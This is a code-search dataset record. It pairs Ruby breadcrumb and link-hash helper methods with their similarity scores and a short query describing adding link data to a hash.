"def with_breadcrumb(key, *args, &block)\n original_renderer = @_gretel_renderer\n @_gretel_renderer = Gretel::Renderer.new(self, key, *args)\n yield\n @_gretel_renderer = original_renderer\n end",
"def add_breadcrumb(breadcrumb, **options)\n get_current_hub&.add_breadcrumb(breadcrumb, **options)\n end",
"def breadcrumb(object, level = 0)\n path = (\"../\" * level) + object.name + \".html\"\n link = link_to(object.name, path)\n\n if object.parent.kind_of?(RDoc::TopLevel)\n link\n else\n breadcrumb(object.parent, level+1) + \" > \" + link\n end\n end",
"def links\n @links ||= if @breadcrumb_key.present?\n # Reload breadcrumbs configuration if needed\n Gretel::Crumbs.reload_if_needed\n\n # Get breadcrumb set by the `breadcrumb` method\n crumb = Gretel::Crumb.new(context, breadcrumb_key, *breadcrumb_args)\n\n # Links of first crumb\n links = crumb.links.dup\n \n # Get parent links\n links.unshift *parent_links_for(crumb)\n\n links\n else\n []\n end\n end",
"def initialize( root )\n\t\tself.root = root\n\tend",
"def initialize(name, type, meta_data, auto)\n @should_ignore = false\n self.name = name\n self.type = type\n self.meta_data = meta_data\n\n # Use the symbol comparison to improve readability of breadcrumb creation\n @auto = auto == :auto\n\n # Store it as a timestamp for now\n @timestamp = Time.now.utc\n end",
"def ancestry_setup\n ancestors.map { |suite| suite.setup }.flatten.reverse\n end",
"def to_breadcrumb\n self.title\n end",
"def render_breadcrumb ( menu , options )\n links = []\n item = current_item(menu)\n if item != nil\n links << render_breadcrumb_node(item, options)\n while item.parent != nil do\n if item.parent.is_a? Symbol\n links << link_to( 'Home', '/' , {:class=>options[:link_class]} ).html_safe + ' > '.html_safe\n break\n else\n links << render_breadcrumb_node(item.parent, options).html_safe + ' > '.html_safe\n item = item.parent\n end\n end\n end\n links = links.reverse\n links.empty? ? '' : content_tag('div', links.join(\"\\n\") , :class=>options[:div_class]).html_safe\n end",
"def breadcrumb action = @action, acc = []\n begin\n (parent_actions ||= []) << action\n end while action.breadcrumb_parent && (action = action(*action.breadcrumb_parent))\n\n content_tag(:ul, :class => \"breadcrumb\", :id => \"breadcrumb\") do\n parent_actions.map do |a|\n am = a.send(:eval, 'bindings[:abstract_model]')\n o = a.send(:eval, 'bindings[:object]')\n content_tag(:li, :class => current_action?(a, am, o) && \"active\") do\n crumb = if a.http_methods.include?(:get)\n current_action?(a, am, o) ? aclass = 'pjax tip-bottom current' : aclass = 'pjax tip-bottom'\n if a.action_name == :dashboard\n adata = t('admin.menu.Gohome')\n else\n adata = t('admin.menu.Gosection')\n end\n link_to locale_url_for(:action => a.action_name, :controller => 'rails_admin/main', :model_name => am.try(:to_param), :id => (o.try(:persisted?) && o.try(:id) || nil)), \"data-original-title\" => adata, :class => aclass do\n if a.action_name == :dashboard\n icon = content_tag(:i, '', :class => 'icon-home')\n else\n icon = ''\n end\n icon + wording_for(:breadcrumb, a, am, o)\n end\n else\n content_tag(:span, wording_for(:breadcrumb, a, am, o))\n end\n #crumb+= content_tag(:span, '/', :class => 'divider') unless current_action?(a, am, o)\n crumb+= content_tag(:span, '') unless current_action?(a, am, o)\n crumb\n end\n end.reverse.join().html_safe\n end\n end",
"def documentation_breadcrumb_for(page, options = {})\n options[:root_link] = options[:root_link].nil? ? t('documentation.helpers.documentation_breadcrumb_for.default_root_link') : options[:root_link]\n options[:class] ||= 'breadcrumb'\n\n String.new.tap do |s|\n s << \"<nav class='#{options[:class]}'><ul>\"\n\n if options[:root_link]\n s << \"<li><a href='#{documentation_doc_root.blank? ? '/' : documentation_doc_root}'>#{options[:root_link]}</a></li>\"\n end\n\n if page.is_a?(::Documentation::Page)\n page.breadcrumb.each do |child|\n s << \"<li><a href='#{documentation_doc_root}/#{child.full_permalink}'>#{child.title}</a></li>\"\n end\n end\n\n s << \"</ul></nav>\"\n end.html_safe\n end",
"def initialize_site_tree\n self.errors[:base] << 'Site Tree root already initialized!' if root_page\n return (create_home_page and create_basic_menu_tree) if errors.empty?\n return false\n end",
"def add_breadcrumb(name, url = nil)\n @breadcrumbs ||= []\n url = send(url) if url.is_a?(Symbol)\n name = send(name).to_s.titleize if name.is_a?(Symbol)\n @breadcrumbs << [name, url]\n end",
"def page_breadcrumbs(page)\n page.ancestors.reverse.map { |p| link_to(p.name, p.path) }\n end",
"def parent_breadcrumb(options = {}, &block)\n if block_given?\n gretel_renderer.yield_parent_breadcrumb(options, &block)\n else\n gretel_renderer.parent_breadcrumb(options)\n end\n end",
"def add_breadcrumb_modulo\n add_breadcrumb pluralize_model(TbAvaliacao), gerente_tb_avaliacoes_path\n end",
"def initialize(options = {})\n # parameters\n raise ArgumentError.new(\"options[:root_path] is required\") unless @root_path = options[:root_path]\n raise ArgumentError.new(\"options[:user_metadata_root_path] is required\") unless @user_metadata_root_path = options[:user_metadata_root_path]\n @tree_class = options[:tree_class] || Hash\n @child_name_delimiter = options[:child_name_delimiter] || \"\\n\"\n\n # callbacks (optional)\n @branch_key_override = options[:branch_key_override]\n @child_names_override = options[:child_names_override]\n @create_leaf_override = options[:create_leaf_override]\n @has_children_override = options[:has_children_override]\n @leaf_key_override = options[:leaf_key_override]\n end",
"def pickup_breadcrumbs\n @bcname = request.path.inspect\n case\n when request.path == \"/\"\n @bcname = Bcrmb.find_by_bckey(\"home\").name\n when request.path =~ /(\\/as\\w\\w\\/)(\\w+)/\n token2in_path = $2\n if (mybc = Bcrmb.find_by_bckey(token2in_path))\n @bcname = mybc.send(:name)\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # if\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # case\n\n end",
"def add_breadcrumb_coupon\n add_breadcrumb @coupon.name.truncate(45)\n end",
"def init\n if current_user.instance_of? Contact\n add_breadcrumb I18n.t('project.list'), :action => \"my_projects\"\n else\n add_breadcrumb I18n.t('project.list'), :action => \"index\"\n end\n end",
"def parent_breadcrumb(options = {})\n render(options)[-2]\n end",
"def breadcrumb_add element_name\n @breadcrumb = @breadcrumb + @separator + element_name\n end",
"def initialize(root, head)\n @root, @head = root, head\n end",
"def recursively_fix_breadcrumbs!(cards = collection_cards)\n cards.each do |card|\n next unless card.primary?\n\n if card.item.present?\n # have to reload in order to pick up new parent relationship\n card.item.reload.recalculate_breadcrumb!\n elsif card.collection_id.present?\n # this will run recursively rather than using breadcrumb to find all children\n card.collection.reload.recalculate_breadcrumb!\n card.collection.recursively_fix_breadcrumbs!\n end\n end\n end"
] |
[
"0.7122897",
"0.69954604",
"0.69638413",
"0.6900299",
"0.68838817",
"0.6865224",
"0.67939645",
"0.67313737",
"0.6623273",
"0.65754205",
"0.65553534",
"0.6537324",
"0.65344507",
"0.652361",
"0.65156025",
"0.648781",
"0.648781",
"0.6337952",
"0.63268906",
"0.6270689",
"0.62135",
"0.6170403",
"0.61674756",
"0.61296636",
"0.611849",
"0.61073977",
"0.6103805",
"0.6103805",
"0.6103731",
"0.60987157",
"0.6085559",
"0.6085559",
"0.6069073",
"0.6009585",
"0.6007164",
"0.5994312",
"0.5994312",
"0.5990997",
"0.5981138",
"0.5960411",
"0.5944309",
"0.5942046",
"0.59155166",
"0.58594334",
"0.58594334",
"0.58441216",
"0.58399534",
"0.58250463",
"0.5818004",
"0.5816349",
"0.5802761",
"0.5802002",
"0.57949054",
"0.5785187",
"0.5778901",
"0.5777242",
"0.5773707",
"0.5768803",
"0.57666916",
"0.5762531",
"0.5760827",
"0.57346475",
"0.57295936",
"0.5719873",
"0.5702686",
"0.5688696",
"0.5682041",
"0.56668043",
"0.5619598",
"0.56026554",
"0.5596847",
"0.5591092",
"0.55609316",
"0.5519706",
"0.5517233",
"0.5497499",
"0.54959047",
"0.5484648",
"0.5480896",
"0.5480559",
"0.54794705",
"0.5476315",
"0.5471617",
"0.5453933",
"0.54387045",
"0.5435632",
"0.54187244",
"0.54125905",
"0.53830916",
"0.53786343",
"0.53754437",
"0.5373738",
"0.53627235",
"0.5349379",
"0.53442216",
"0.53277624",
"0.53273475",
"0.5319019",
"0.5315886"
] |
0.7764661
|
1
|
Add a single link's data in a hash
|
def add_breadcrumb title, link = nil
if link.nil?
@breadcrumbs << { :title => title }
else
@breadcrumbs << { :title => title, :link => link }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add(hash); end",
"def update_link!(link)\n key = link.key\n val = link.val\n @store.remove(key)\n link = @store.append(key,val) #this is where you move the link to end of list\n @map[key] = link\n end",
"def add_hash(id, hash, source)\n @hashes[id] = {:deletehash => hash, :source => source, :stamp => Time.now}\n end",
"def hash\n [rel, href].hash\n end",
"def add_to_database\n Link.add({\"assignment_id\" => \"#{self.assignment_id}\", \"link\" => \"#{self.link}\", \"type\" => \"#{self.type}\"})\n end",
"def convert_to_link_hash(link)\n link_hash = {}\n\n if link =~ /([a-zA-Z0-9\\-]*)\\/([a-zA-Z0-9\\-\\._]*)/\n user = $1\n name = $2\n link_hash[:user] = user\n link_hash[:name] = name\n link_hash[:uri] = \"https://github.com/#{user}/#{name}\"\n link_hash[:description] = fetch_github_repo_description(user, name)\n else\n name = link\n link_hash[:name] = name\n link_hash[:uri] = \"https://github.com/vim-scripts/#{name}\"\n link_hash[:description] = fetch_github_repo_description('vim-scripts', name)\n end\n\n link_hash\n end",
"def hash\n [name, url].hash\n end",
"def link\n return unless @data['link']\n link = @data['link']\n # Aozora has embed data, we just need to restructure it a bit\n @link ||= {\n kind: link['type'],\n title: link['title'],\n description: link['description'],\n url: link['url'],\n site_name: link['siteName'],\n image: link['images'].first\n }\n end",
"def add_link(key, name)\n passage = Passage.where(name: name).first\n\n self.links << Link.create({ key: key, passage: passage })\n end",
"def scrape_link_data(link)\n { title: link.text, link: link[:href] }\n end",
"def convert_to_link_hash(link)\n link_hash = {}\n\n if link =~ /([a-zA-Z0-9\\-]*)\\/([a-zA-Z0-9\\-\\._]*)/\n user = $1\n name = $2\n link_hash[:user] = user\n link_hash[:name] = name\n link_hash[:uri] = \"https://github.com/#{user}/#{name}\"\n link_hash[:description] = fetch_github_repo_description(user, name)\n else\n name = link\n link_hash[:name] = name\n link_hash[:uri] = \"https://github.com/vim-scripts/#{name}\"\n link_hash[:description] = fetch_github_repo_description('vim-scripts', name)\n end\n\n link_hash\nend",
"def link\n\t\t\t@data['link']\n\t\tend",
"def set_update_values(link_hash)\n\thash = CreateHash.read_hash_file(link_hash[\"asset\"])\n\tnew_hash = {}\n\tnew_hash.store(\"Asset Number\", hash[\"fields\"][\"Asset Number\"])\n\tnew_hash.store(\"Purchase Date\", hash[\"fields\"][\"Purchase Date\"])\n\tnew_hash.store(\"Purchase Cost\", hash[\"fields\"][\"Purchase Cost\"])\n\tnew_hash.store(\"Supplier\", hash[\"fields\"][\"Supplier\"])\n\tnew_hash.store(\"Order Number\", hash[\"fields\"][\"Order Number\"])\n\treturn new_hash\nend",
"def hash\n [links, organization_id].hash\n end",
"def serializable_hash\n @node = links.any? ? super.merge(_links: links) : super\n end",
"def hash_data_add(hash, key)\n if hash.has_key?(key)\n hash[key] = hash[key] + 1\n else \n hash[key] = 1\n end\n end",
"def insert_link (fileArray, linkName, utilHash)\n\nend",
"def link\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n hash = nil\n link_value16 = nil\n\n begin\n # at line 70:4: LINK_KEY COLON link_value\n match( LINK_KEY, TOKENS_FOLLOWING_LINK_KEY_IN_link_494 )\n match( COLON, TOKENS_FOLLOWING_COLON_IN_link_496 )\n @state.following.push( TOKENS_FOLLOWING_link_value_IN_link_498 )\n link_value16 = link_value\n @state.following.pop\n # --> action\n hash = link_value16 \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end\n \n return hash\n end",
"def add_link\n @bib.link.each do |l|\n case l.type&.downcase\n when \"doi\" then @item.doi = l.content\n when \"file\" then @item.file2 = l.content\n when \"src\" then @item.url = l.content\n end\n end\n end",
"def add_item(hash,item,num)\r\n\t\r\n\th2 = { \"#{item}\" => num}\r\n\thash.merge!(h2) \r\n\treturn hash\r\nend",
"def add_link(link)\n links << link\n end",
"def add_link(lh)\n lnk_wid = lh[:wid]\n\tlnk_role = lh[:role]\n\t\n\t# find or create the attach node\n if @doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last.nil?\n Nokogiri::XML::Builder.with(@doc.xpath('//work-item').last) do\n field(:id => 'linkedWorkItems') {\n\t list {}\n\t }\n end\n end\n\t\n\t# build and attach the link struct\n\tNokogiri::XML::Builder.with(@doc.xpath('//field[@id=\"linkedWorkItems\"]/list').last) do\n\t struct {\n\t item(:id => 'revision')\n\t\titem(:id => 'workItem') {\n\t\t text lnk_wid\n\t\t}\n\t\titem(:id => 'role') {\n\t\t text lnk_role\n\t\t}\n\t }\n\tend\n end",
"def update_link(link)\n if i = find_index { |l| l.rel.to_s == link.rel.to_s }\n return self[i] = link\n end\n self << link\n end",
"def link_data\n params.permit(links: [:url])\n .require(:links)\n .values\n end",
"def save_posted_link( )\n\t\n\tdata_file = \"posted_link.dat\"\n\tfp = File.open(data_file,\"a\")\n\t$link_posted.keys.each { |link|\n\t\tfp.puts( link )\n\t}\n\tfp.close()\t\nend",
"def link_data\n data = {}\n @options[:tags].keys.each do |key|\n data[key.to_sym] = self.instance_eval(key.to_s)\n end\n data\n end",
"def save(link_hash)\n setup_file\n \n link_database = File.open('link_db.txt').read\n existing_links = JSON.parse(link_database) \n # link_database.close\n \n existing_links << link_hash\n link_json = JSON.generate(existing_links)\n \n File.open('link_db.txt', 'w+') do |link_database|\n link_database.write(link_json)\n end\nend",
"def site_data_hash; end",
"def add_key_data(key_data_); end",
"def add(item, quantity, hash)\n hash[item] = quantity\n puts hash\nend",
"def link(*params, &block)\n self.data_links = {} if data_links.nil?\n\n options = params.last.is_a?(Hash) ? params.pop : {}\n link_name = params.first\n link_method_name = params[-1]\n key = run_key_transform(link_name)\n\n data_links[key] = Link.new(\n key: key,\n method: block || link_method_name,\n options: options\n )\n end",
"def add_to_hash(hash)\n super\n contact.add_to_hash(hash)\n hash['user_over_13'] = @user_over_13 || !@new_user\n hash['last_logged_in'] = fmt_date_time(@data_object.user_last_logged_in)\n hash['first_logged_in'] = fmt_date_time(@data_object.user_first_logged_in)\n# aff_opts = Affiliate.options\n\n hash\n end",
"def create_hash\n require 'digest/md5'\n digest_string = [self.id, self.url, self.referrer, self.created_at].join(\"\")\n self.record_hash = Digest::MD5.hexdigest(digest_string)\n end",
"def add_item(hash, item, quantity)\r\n\thash.store(item, quantity)\r\n\thash\r\nend",
"def generate_row_key link\n # rowkey is 'md5_hashed_link'\n d = Digest::MD5.new\n d.hexdigest link\nend",
"def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end",
"def links\n @links ||= lambda do \n raw_links.map do |link|\n hash = {}\n link.keys.each do |key|\n hash[key] = link[key]\n end\n hash\n end\n end.call\n end",
"def add( toAdd )\n if toAdd.is_a?(Hash) # if toAdd is a hash\n toAdd.each do |keyWord, value|\n @entries[ keyWord ] = value # add as hash\n end\n else\n @entries[ toAdd ] = nil # if toAdd is NOT a hash, use keyword, as toAdd, to add a nil value\n end\n end",
"def add(host, key); end",
"def addIssueBuyLink(unit, volume, issue, dbAttrs)\n key = \"#{unit}:#{volume}:#{issue}\"\n link = $issueBuyLinks[key]\n link and dbAttrs[:buy_link] = link\nend",
"def to_hash\n {\n :title => html_title,\n :data => raw_data,\n :sha => sha,\n :url => permalink\n }\n end",
"def makeEntry(hash, e)\n hash[e.id] = {\n name: e.public_name,\n createTimestamp: e.createTimestamp,\n }\n if e.banned?\n hash[e.id][:noLogin] = true\n else\n # Don't publish urls for banned logins\n unless e.urls.empty?\n # need to sort to avoid random changes which seem to occur for urls\n hash[e.id][:urls] = e.urls.sort\n end\n # only add entry if there is a fingerprint\n unless e.pgp_key_fingerprints.empty?\n # need to sort to avoid random changes which seem to occur for fingerprints\n hash[e.id][:key_fingerprints] = e.pgp_key_fingerprints.sort\n end\n end\nend",
"def get_additional_info(link)\n link = @url+link\n data = Hpricot(self.download_url(link))\n \n abstract = data.search(\"#main_content p.para4\").inner_html\n\n \n download_links = Array.new\n data.search(\"#downloads a\").each do |link|\n href = link.attributes['href']\n\n # pokud je prvni znak \"/\" kod 47 (h z http ma 104) - jedna se o odkaz na cachovanou verzi ze citeseerx\n if(href[0] == 47)\n href = @url+href\n end\n\n download_links << href \n end #/search\n\n return {'abstract' => abstract, 'links' => download_links}\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n [custom_headers, encode_as, name, payload, url].hash\n end",
"def link\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n hash = nil\n link_value16 = nil\n\n begin\n # at line 97:4: 'Link' ':' link_value\n match(T__21, TOKENS_FOLLOWING_T__21_IN_link_499)\n match(T__10, TOKENS_FOLLOWING_T__10_IN_link_501)\n @state.following.push(TOKENS_FOLLOWING_link_value_IN_link_503)\n link_value16 = link_value\n @state.following.pop\n # --> action\n hash = link_value16\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end\n\n return hash\n end",
"def may_ed2klink(link)\n link.scan(REGEX_HASH) do |entry|\n return false if entry[0].nil? || entry[1].nil?\n @hash_size = entry[0]\n @hash_md4 = entry[1].downcase\n @hash_link = link\n @hash_dbkey = \"#{hash_size}|#{hash_md4}\"\n @hash_anidbkey = \"size=#{hash_size}&ed2k=#{hash_md4}\"\n return true\n end\n false\n end",
"def add(item, quantity, hash)\n hash[item] = quantity\nend",
"def save(link_hash)\n setup_file\n \n link_database = File.open('link_db.txt').read\n existing_links = JSON.parse(link_database)\n # link_database.close\n \n existing_links << link_hash\n link_json = JSON.generate(existing_links)\n \n\n\n File.open('link_db.txt', 'w+') do |link_database|\n link_database.write(link_json)\n end\nend",
"def additional_links\n @additional_links ||= begin\n links = {}\n\n main_link_label = ScihistDigicoll::Util.humanized_content_type(main_file.content_type)\n main_link_label << \" - \" + ScihistDigicoll::Util.simple_bytes_to_human_string(main_file.size)\n\n links[main_link_label] =\n shrine_file_url(shrine_file: main_file, disposition: \"attachment\", filename: item_filename)\n\n if flac_with_m4a?\n # add the original flac link too\n links[\"FLAC - #{ScihistDigicoll::Util.simple_bytes_to_human_string(asset.size)}\"] =\n shrine_file_url(shrine_file: asset.file,\n disposition: \"attachment\",\n filename: DownloadFilenameHelper.filename_for_asset(asset))\n end\n\n links\n end\n end",
"def add_meta_data(meta_hash)\n meta.merge! meta_hash\n end",
"def calculate_hash!\n entry_hash = to_hash\n entry_hash['description']=nil\n @hash = entry_hash.hash\n end",
"def link_value\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n hash = nil\n link_target17 = nil\n link_rel18 = nil\n link_self19 = nil\n link_category20 = nil\n link_attributes21 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new \n\n begin\n # at line 73:6: link_target link_rel ( link_self )? ( link_category )? link_attributes ( SEMICOLON )?\n @state.following.push( TOKENS_FOLLOWING_link_target_IN_link_value_520 )\n link_target17 = link_target\n @state.following.pop\n # --> action\n hash[:target] = link_target17 \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_link_rel_IN_link_value_529 )\n link_rel18 = link_rel\n @state.following.pop\n # --> action\n hash[:rel] = link_rel18 \n # <-- action\n # at line 75:6: ( link_self )?\n alt_17 = 2\n alt_17 = @dfa17.predict( @input )\n case alt_17\n when 1\n # at line 75:6: link_self\n @state.following.push( TOKENS_FOLLOWING_link_self_IN_link_value_538 )\n link_self19 = link_self\n @state.following.pop\n\n end\n # --> action\n hash[:self] = link_self19 \n # <-- action\n # at line 76:6: ( link_category )?\n alt_18 = 2\n alt_18 = @dfa18.predict( @input )\n case alt_18\n when 1\n # at line 76:6: link_category\n @state.following.push( TOKENS_FOLLOWING_link_category_IN_link_value_548 )\n link_category20 = link_category\n @state.following.pop\n\n end\n # --> action\n hash[:categories] = link_category20 \n # <-- action\n @state.following.push( TOKENS_FOLLOWING_link_attributes_IN_link_value_558 )\n link_attributes21 = link_attributes\n @state.following.pop\n # --> action\n hash[:attributes] = link_attributes21 \n # <-- action\n # at line 78:6: ( SEMICOLON )?\n alt_19 = 2\n look_19_0 = @input.peek( 1 )\n\n if ( look_19_0 == SEMICOLON )\n alt_19 = 1\n end\n case alt_19\n when 1\n # at line 78:6: SEMICOLON\n match( SEMICOLON, TOKENS_FOLLOWING_SEMICOLON_IN_link_value_567 )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n end\n \n return hash\n end",
"def add_json_pair subject, predicate,oa\n if @json_hash.key? subject\n if @json_hash[subject].key? predicate\n @json_hash[subject][predicate].merge!(oa)\n else\n @json_hash[subject][predicate]=oa\n end\n else\n @json_hash[subject]=Hash.new\n @json_hash[subject][predicate]=oa\n hello=\"test\"\n end\n end",
"def set_link\n if params[:id]\n # raise ActionController::RoutingError.new('Not Found')\n @link = Link.find_by_admin_id(params[:id])\n elsif params[:uuid]\n @link = Link.find_by_admin_id(params[:uuid])\n elsif params[:hash_id]\n id = Hashid.decode(params[:hash_id]).first #first is required otherwise array is returned\n @link = Link.find(id)\n end\n end",
"def populate_hash\n self.orig_image_url_hash = Digest::SHA1.hexdigest orig_image_url\n end",
"def add_hash(hash, key, value)\n return hash[key] = value\nend",
"def link=(new_link)\n @link = new_link\n unless self.cache_object.nil?\n self.cache_object.link = new_link\n end\n end",
"def link\n @headers[:link]\n end",
"def links\n param = {lat: lat.to_f, lng: lng.to_f, latlng: latlng}\n Hashie::Mash.new(EXTERNAL_LINKS.map{|key, pattern| [key, pattern % param]}.to_h)\n end",
"def extract_key_from_link\n self.resource_id = original_link.to_i\n end",
"def link\n object[\"link\"]\n end",
"def store_path_links_to(path, links)\n return if links.empty?\n redis.sadd path_links_to_key(path), links\n end",
"def add_link(el, href, title, alt_text = T.unsafe(nil), ial = T.unsafe(nil)); end",
"def save\n return false if !valid?\n @id = self.class.next_id\n $redis[attr_key :url] = @url\n $redis[attr_key :description] = @description\n $redis[attr_key :score] = @score\n $redis[attr_key :created_at] = DateTime.now\n $redis.push_head(\"links:list\", @id)\n true\n end",
"def mark_link game, ref\n\t$links[ref] << game\nend",
"def add_hash_if_hash(a1, b1)\n a1.each do |k, _v|\n if %w[Array Hash].include?(a1[k].class.name)\n a1[k] = add_hash2_to_hash1(a1[k], b1[k])\n else\n a1[k] += b1[k]\n end\n end\n end",
"def add(key, data)\n node = Classifieds::ListNode.new(data)\n if @hash.has_key?(key)\n @hash[key] << node\n else\n @hash[key] = [node]\n end\n end",
"def hash_for_url(url)\n post_request(\"/submit/hash-for-url\", url: url)\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def update(hash); end",
"def hyperlink(file, domain, link_dictionary)\n\n link_dictionary = JSON.parse(link_dictionary)\n original_file_values = JSON.parse(File.read(file))\n transformed_file_values = {}\n\n headers_to_skip=[\n \"coinName\",\n \"term\",\n \"hyperlinkOn\",\n \"knownTickers\",\n \"preferredTicker\",\n ]\n original_file_values.each do |header, original_content|\n content = original_content\n unless headers_to_skip.include?(header)\n if content =~ /^https?:\\/\\// \n urls = content.split(\", \").map do |url|\n url = url.strip\n \"[#{url}](#{url})\"\n end\n content = urls.join(\", \")\n else \n link_dictionary.each do |term, link_address|\n if file.match(/#{link_address}\\.json$/) # if this term would hyper link to itself\n # put a \"!!\" in front of it so that it doesn't get picked up by any other superstring matches\n content = content.gsub(\n /(^|\\s|\\()(#{term})($|\\.|\\)|\\s|')/i, \n \"\\\\1!!\\\\2\\\\3\"\n ) \n else\n content = content.sub( # only hyperlink the first occurrence of a given within a section\n /(^|\\s|\\()(#{term})($|\\.|\\)|\\s|')/i, # match the term if it's preceded+followed by a space, period, \\n etc.\n \"\\\\1[\\\\2](#{domain}#{link_address})\\\\3\"\n )\n end\n end\n content = content.gsub(/!!/, \"\") # remove all \"!!\" used to remove self linking terms from the link pool\n end\n end\n transformed_file_values[header] = content\n end\n return transformed_file_values\nend",
"def append_link\n url = params[:link]\n @link = Link.new()\n @link.url = url[:url]\n @link.package = Package.find(params[:package_id])\n @link.save()\n # renova a busca para atualizar lista de links.\n @links = Link.find(:all, :conditions => [\"package_id = ?\", params[:package_id]])\n\n flash[:notice] = \"Link was successfully appended.<br/>\" + url[:url]\n redirect_to :action => 'show', :id => params[:package_id]\n end",
"def add(params_data)\n @user_hash = get_user(params_data[:user_id])\n @user_hash[:user_name] = params_data[:user_name]\n @user_hash[:user_id] = params_data[:user_id]\n @user_hash[:text] = params_data[:text]\n @user_hash[:command] = params_data[:command]\n @user_hash[:team_id] = params_data[:team_id]\n @user_hash[:team_domain] = params_data[:team_domain]\n @user_hash[:channel_id] = params_data[:channel_id]\n @user_hash[:channel_name] = params_data[:channel_name]\n @user_hash[:slack_respurl] = params_data[:response_url]\n save_data(@filetag)\n end",
"def calculate_unique_hash\n unique = ''\n unique += self.content if self.content.present?\n unique += self.summary if self.summary.present?\n unique += self.title if self.title.present?\n self.unique_hash = Digest::MD5.hexdigest unique\n end",
"def to_hash\n scrape_meta_data\n\n {\n 'url' => url,\n 'title' => title,\n 'links' => links,\n 'internal_links' => internal_links,\n 'external_links' => external_links,\n 'images' => images,\n 'charset' => charset,\n 'feed' => feed,\n 'content_type' => content_type\n }.merge @data.to_hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def to_link_json\n {\n sys: {\n type: 'Link',\n linkType: 'Upload',\n id: id\n }\n }\n end",
"def to_link_json\n {\n sys: {\n type: 'Link',\n linkType: 'Upload',\n id: id\n }\n }\n end",
"def link_attributes(tag)\n Hash[$1.scan(/(\\w+)=\"([^\"]*)\"/)] if tag =~ link_regex\n end",
"def link_tracking_csv_hash\n {\n name: self.name,\n count: self.tracking_count\n }\n end",
"def add(o)\n @hash[o] = true\n self\n end",
"def add_song_and_artist(library_hash, artist, song)\n library_hash[artist] = song\n return library_hash\nend",
"def push_into_hash(hash, key, data)\n if hash[key.to_sym].nil?\n hash[key.to_sym] = [data]\n else # existing key\n hash[key.to_sym].push(data)\n end\n end",
"def addExtraURITag(key,value) \n\t\tself._querytext.push([key,value])\t\n\tend",
"def hash(key); end",
"def addhashes(h1, h2)\n if h1.respond_to?(:merge) && h2.respond_to?(:merge)\n return h1.merge(h2) { |_key, old, new| addhashes(old, new) }\n else\n return h1 + h2\n end\n end",
"def add_entry entry\n @data << entry\n end",
"def to_hash\n h = self.href.nil? ? '' : self.href\n r = self.rel.nil? ? '' : self.rel\n t = self.title.nil? ? '' : self.title\n y = self.type.nil? ? '' : self.type\n\n { \n \"href\" => h,\n \"type\" => y,\n \"rel\" => r,\n \"title\" => t\n }\n end",
"def add_item(hash, item, quantity)\n\t hash[item] = quantity\n\t return hash\nend",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def link_value\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n hash = nil\n link_target17 = nil\n link_rel18 = nil\n link_self19 = nil\n link_category20 = nil\n link_attributes21 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new\n\n begin\n # at line 100:6: link_target link_rel ( link_self )? ( link_category )? link_attributes ( ';' )?\n @state.following.push(TOKENS_FOLLOWING_link_target_IN_link_value_525)\n link_target17 = link_target\n @state.following.pop\n # --> action\n hash[:target] = link_target17\n # <-- action\n @state.following.push(TOKENS_FOLLOWING_link_rel_IN_link_value_534)\n link_rel18 = link_rel\n @state.following.pop\n # --> action\n hash[:rel] = link_rel18\n # <-- action\n # at line 102:6: ( link_self )?\n alt_19 = 2\n look_19_0 = @input.peek(1)\n\n if (look_19_0 == T__11)\n look_19_1 = @input.peek(2)\n\n if (look_19_1 == WS)\n look_19_3 = @input.peek(3)\n\n if (look_19_3 == T__24)\n alt_19 = 1\n end\n elsif (look_19_1 == T__24)\n alt_19 = 1\n end\n end\n case alt_19\n when 1\n # at line 102:6: link_self\n @state.following.push(TOKENS_FOLLOWING_link_self_IN_link_value_543)\n link_self19 = link_self\n @state.following.pop\n\n end\n # --> action\n hash[:self] = link_self19\n # <-- action\n # at line 103:6: ( link_category )?\n alt_20 = 2\n look_20_0 = @input.peek(1)\n\n if (look_20_0 == T__11)\n look_20_1 = @input.peek(2)\n\n if (look_20_1 == WS)\n look_20_3 = @input.peek(3)\n\n if (look_20_3 == T__25)\n alt_20 = 1\n end\n elsif (look_20_1 == T__25)\n alt_20 = 1\n end\n end\n case alt_20\n when 1\n # at line 103:6: link_category\n @state.following.push(TOKENS_FOLLOWING_link_category_IN_link_value_553)\n link_category20 = link_category\n @state.following.pop\n\n end\n # --> action\n hash[:category] = link_category20\n # <-- action\n @state.following.push(TOKENS_FOLLOWING_link_attributes_IN_link_value_563)\n link_attributes21 = link_attributes\n @state.following.pop\n # --> action\n hash[:attributes] = link_attributes21\n # <-- action\n # at line 105:6: ( ';' )?\n alt_21 = 2\n look_21_0 = @input.peek(1)\n\n if (look_21_0 == T__11)\n alt_21 = 1\n end\n case alt_21\n when 1\n # at line 105:6: ';'\n match(T__11, TOKENS_FOLLOWING_T__11_IN_link_value_572)\n\n end\n\n rescue 